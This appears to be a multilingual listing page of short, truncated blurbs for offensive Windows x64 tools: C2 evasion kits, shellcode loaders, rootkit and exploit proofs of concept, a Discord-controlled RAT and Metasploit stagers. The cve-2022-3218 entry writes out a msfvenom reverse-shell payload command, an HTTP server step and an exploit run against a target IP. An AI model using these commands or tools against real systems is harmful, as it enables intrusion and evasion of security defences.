CrystalSliver

crystal-kit-sliver Crystal Palace 回避キットを Sliver C2 に移植しました。 これは rasta-mouse 氏の Crystal-Kit（Cobalt Strike 向け）を Sliver に移植した初のパブリック版です。 Crystal-Kit-Xenon（Mythic 向け）で実証された同じクロス C2 パターンを踏襲しています。 ライセンス: MIT — Copyright c 2026 Simone Licitra ターゲット: Windows x64 のみ（アップストリームの制約） ステータス: エンドツーエンドで検証済み — Kal...

AsmLdr

AsmLdr: Un cargador de shellcode dinámico para Windows x64 Descripción general AsmLdr es un cargador de shellcode avanzado implementado en lenguaje ensamblador x64, diseñado para entornos Windows x64. Su propósito principal es ejecutar payloads cifrados mientras minimiza la detección por parte de...

nimcrypt

nimcrypt Sliverシェルコードローダー。Nimで記述され、Windows x64を対象としています。最も一般的な2つの配信状況に対応した2つのバリアントがあります。Windows Defender（リアルタイム保護有効）でテスト済みです。 バリアント stager 暗号化されたシェルコードブロブをディスクから読み込み、メモリ上で復号し、自己インジェクションします。ファイルドロップのプリミティブが既にあり、小さくシンプルなバイナリが必要な場合に使用します。 root@kitploit: loader.exe keyhex ivhex...

VectorKernel

VectorKernel カーネルモードルートキット技術の研究または教育のためのPoCです。 現在はWindows OSに焦点を当てています。 すべてのモジュールはx64ファミリの64ビットOSのみをサポートしています。 環境 すべてのモジュールはWindows 11 x64でテストされています。 ドライバをテストするには、テスト用マシンで以下のオプションを使用できます。 1. テスト署名済みドライバの読み込みを有効にする 2. カーネルモードデバッグの設定 各オプションでは、セキュアブートを無効にする必要があります。 モジュール...

lacuna-rs

lacuna-rs Ghost-frame コールスタック偽装 + ランタイム間接システムコール for Windows x64 — Rust に移植済み。 Mohamed Alzhrani 0xmaz による LACUNA Chain lacunachain.c からの移植。 lacuna-rs は、再利用可能な Rust クレートであり、元の C TTP と同じプリミティブを提供します。構造化されているため、任意の Rust プロジェクトにドロップインできます。wsyscall-rs や syscalls-rs と似ていますが、ランタイム SSN 解決 、関数ごとのsyscall;r...

swapgs-attack-poc

SWAPGS攻撃のPoC CVE-2019-1125 このリポジトリには、2019年のBlack Hat USAで公開されたSWAPGS攻撃のPoCのソースコードが含まれています。 内容 leakgsbkva - バリアント1 カーネルメモリ内のランダムな値を検索; PEカーネルイメージヘッダーに限定 leakgsbkvat - バリアント2 カーネルメモリからランダムな値を抽出; PEカーネルイメージヘッダーに限定 ホワイトペーパー Black Hat USA 2019 プレゼンテーション 前提条件 1. Visual Studio 2015 2. 未パッチのWindows x64 7...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831 是 WinRAR（6.23）中的一个 RCE 漏洞 参考：https://github.com/z3r0sw0rd/CVE-2023-38831-PoC 阅读 Google TAG 的分析： https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ 下载存在漏洞的最新版本：适用于 Windows x64 的 6.22：...

NovaHypervisor

NovaHypervisor 説明 NovaHypervisor は、防御目的の x64 Intel ホストベースのハイパーバイザです。このプロジェクトの目標は、カーネルベースの攻撃 Bring Your Own Vulnerable Driver BYOVD やその他の手段による から防御製品 アンチウイルス/エンドポイント保護 やカーネルメモリ構造を保護し、カーネルメモリへの不正アクセスを防止することです。 NovaHypervisor は C++ とアセンブリで書かれており、Windows 10 以降で動作するように設計されています。使用方法の詳細については、セットアップ...

micr0_shell

micr0 shell Micr0shellは、Windows X64用の位置独立コード（PIC）ヌルフリーリバースシェルシェルコードを動的に生成するために設計された、軽量で効率的なPythonスクリプトです。選択されたオプションに応じて、生成されるシェルコードはmsfvenomの同等のシェルコードよりも最大27バイト小さくなり、0x00バイトの包含も回避します。さらに、MSFのシェルコードは広く使用されているためシグネチャベースの検出方法にフラグされる可能性が高いため、micr0shellが生成するシェルコードは回避能力の追加層を提供します。 root@kitploit: └─...

SILVERPICK

SILVERPICK VERSIÓN v1.1 RESUMEN El proyecto SILVERPICK es un Windows User-Mode Shellcode Development Framework WUMSDF cuyo único propósito es permitir a los desarrolladores de capacidades construir blobs de Position Independent Code PIC para Windows x64 usando C/C++ de manera sencilla, reduciendo...

CVE-2020-1020-Exploit

CVE-2020-1020 Type1字体池溢出本地权限提升漏洞利用 支持操作系统 : Windows 7,8,8.1 x64...

cve-2026-0828

CVE-2026-0828 — PoC BYOVD de Safetica ProcessMonitorDriver.sys El controlador kernel de DLP de Safetica ProcessMonitorDriver.sys expone un IOCTL no autenticado que permite a cualquier llamador en modo usuario terminar procesos arbitrarios mediante ZwTerminateProcess en contexto kernel, evadiendo ...

stealth_call

这是什么？ 一个仅头文件的 Windows x64 库，让你无需触碰 ntdll 导入即可调用任意 NT 系统调用，无需在二进制文件中留下字符串，也不会出现那些让 EDR 抓狂的常见红旗特征。 无 CRT。无 STL。无 IAT。整个库编译后仅约 19KB，且完全没有 DLL 依赖。 设计初衷是规避现有系统调用库的常见缺陷——明文文本字符串、已知哈希常量、从非 ntdll 内存直接发起系统调用、暴露"我在做奇怪的事"的 IAT 导入、SECNOCHANGE IOC、CRT 臃肿。这些在这里统统不存在。 特性 系统调用引擎 间接系统调用——存根跳转到 ntdll 自身的 syscall;...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass 我的版本 - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

PINKPANTHER

PINKPANTHER 简介 Windows x64 内核模式手工制作的 shellcode，用于将正在执行的进程的主访问令牌替换为 SYSTEM 进程令牌，以实现 权限提升（EoP）。 支持的操作系统版本 Windows 7/Windows Server 2008 R2 Build 7601 Windows 8/Windows Server 2012 Build 9200 Windows 8.1/Windows Server 2012 R2 Build 9600 Windows 10 1507/TS1 Build 10240 Windows 10 1511/TS2 Build 1058...

DiscordRAT

DiscordRAT V2 Discordリモート管理ツール、完全にPython3で記述されています。 これは、20以上のポストエクスプロイテーションモジュールを備えたDiscord経由で制御されるRATです。 免責事項: このツールは教育目的のみに使用され、作者はこのツールの誤用に対して一切の責任を負いません。 セットアップガイド: まず、Discordデベロッパーポータルでボットを登録し、目的のサーバーにボットを追加する必要があります（ボットに管理者権限があることを確認してください）。 ボットが作成されたら、ボットのトークンをコピーして17行目に貼り付けます。 依存関係のインストール...

cve-2022-3218

Paso 1 — Crear un payload REAL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Paso 2 — Servir el payload por HTTP En el mismo directorio: python3 -m http.server 80 Paso 3 — Ajustar el exploit Ejecuta así: python3 CVE-2022-3218.py 172.20.7.185...

stealth_call

Cos'è? Libreria header-only per Windows x64 che consente di invocare qualsiasi syscall NT senza toccare gli import di ntdll, senza lasciare stringhe nel binario e senza i soliti campanelli d'allarme che fanno impazzire gli EDR. Niente CRT. Niente STL. Niente IAT. L'intero progetto compila a circa...

FTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Listen for a pipe connection Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module...

FTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Connect back to the attacker with UUID Support Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source:...